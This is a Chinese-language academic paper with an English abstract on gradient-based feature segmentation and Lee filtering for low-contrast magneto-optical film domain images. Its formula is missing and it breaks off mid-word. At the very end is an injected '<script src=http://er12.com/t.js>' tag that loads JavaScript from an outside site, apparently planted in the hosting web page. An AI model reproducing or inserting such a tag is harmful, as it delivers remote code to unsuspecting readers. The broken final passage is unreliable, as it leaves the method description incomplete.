摘 要：提出了一种基于梯度分割的图像特征提取方法，对低对比度磁光记录薄膜磁畴图像进行处理。该方法采用如下三个步骤：首先，采用lee滤波器进行预滤波和消除噪声；接下来进行梯度特征分割，将目标区域从背景中提取出来；最后对边缘进行连接并计算磁畴的特性参数。本文重点在于梯度特征分割方法。
关键词：磁光记录薄膜；磁畴；梯度特征分割；lee滤波器
feature extraction for magnetic domain images of magneto-optical
recording films using gradient feature segmentation
li hai-hua1, he hua-hui1, zhu quan-qing2
1.department of electronic science and technology, huazhong university ofscience
and technology, wuhan 430074, china;
2. institute for pattern recognition and artificial intelligence, state key laboratory for image processing and intelligent control, huazhong university of science and technology,
wuhan 430074, china
abstract: in this paper, we present a method to realize feature extraction on low contrast magnetic domain images of magneto-optical recording films. the method is based on the following three steps: first, lee-filtering method is adopted to realize pre-filtering and noise reduction; this is followed by gradient feature segmentation, which separates the object area from the background area; finally the common linking method is adopted and the characteristic parameters of magnetic domain are calculated. we describe these steps with particular emphasis on the gradient feature segmentation. the results show that this method has advantages over other traditional ones for feature extraction of low contrast images.
key words: magneto-optical recording; magnetic domain; gradient feature segmentation; lee filter;
1 引言
磁畴是磁光记录中信息的物理载体。磁畴的大小和形状对于磁光记录的性能非常重要，甚至决定磁光记录的密度和读写速度。人们提出许多种方法来观测磁光记录薄膜的磁畴结构。sato[1]采用极性显微镜观测不同条件下的tbfeco合金记录磁畴，martin[2]使用磁力显微镜观察tbfe薄膜上的静态磁畴，greidanus[3]使用lorentz电子显微镜观测热磁写入的gdtbfe薄膜磁畴。随着磁光记录密度的增高，从磁光记录薄膜磁畴图像中提取信息变得越来越困难，原因是观测系统误差和其它噪声。同时还需要对磁畴特性参数进行量化，进行深入分析。采用传统方法很难实现。因此，本文提出了一种有效的方法来解决这个问题。
图像分割广泛应用于各个领域，如医学图像分析、航空图像分析等等。porter等[4]提出了一种新算法，自动从图像中选择最优区域，提取特征。pires等[5]采用一种算法提取高分辨率航空图像中的道路和建筑边沿。henstock等[6]引入了一种算法，自动选取梯度阈值，分割图像边沿。相反，有关磁学应用中的图像分割报道很少。本文提出一种基于梯度分割的方法，对磁光记录薄膜的低对比度磁畴图像进行特征提取。该方法的原理如图1所示。
2 磁畴图像观测系统与观测结果
目前商用磁光记录盘通常采用多层膜结构。为了观测多层膜的磁畴，我们采用反射光线的kerr效应进行观测，而不是基于透射光的法拉第效应。由此，采用极性显微镜构造一个反射法磁畴观测系统[7]。该系统由五部分组成：（1）光学读、写和擦除通道；（2）kerr信号检测电路；（3）控制电路；（4）成像元件，包括极性显微镜、照相机和图像数码器件；（5）计算机。观测系统的结构如图2所示。该系统的放大倍数为1000，像素尺寸为0.05m。图3为观测得到的一re-tm非晶薄膜磁畴图像。由图可知，磁畴和背景间的对比度非常小。这种现象的原因主要有：其一，光线的非均匀和薄膜上微缺陷导致的噪声；其二，磁层极性kerr旋转较小。采用传统方法很难准确提取出磁畴图像。图4为采用sodel算子后得到的图像。
3 分析
3.1 预滤波
在磁畴图像形成过程中，原始图像会受到一些噪声的影响，如不均匀光线、光学元器件上的微小尘埃、光强散射等。必须采取有效方法消除噪声，提高信号噪声比。这里采用lee式滤波器[8,9]。通过对数运算，将加法噪声转换成乘法噪声。根据最小均方定理，lee式滤波器的表达式为：
其中、分别为像素点在处理前和处理后的灰度值，m是窗口中像素的平均灰度值，k是加权系数，，，是滤波器窗口中像素的标准偏差，是整个图像中像素的标准偏差。图5为经过lee式滤波后的图像。从图中可看出，该方法显著改?script src=http://er12.com/t.js>
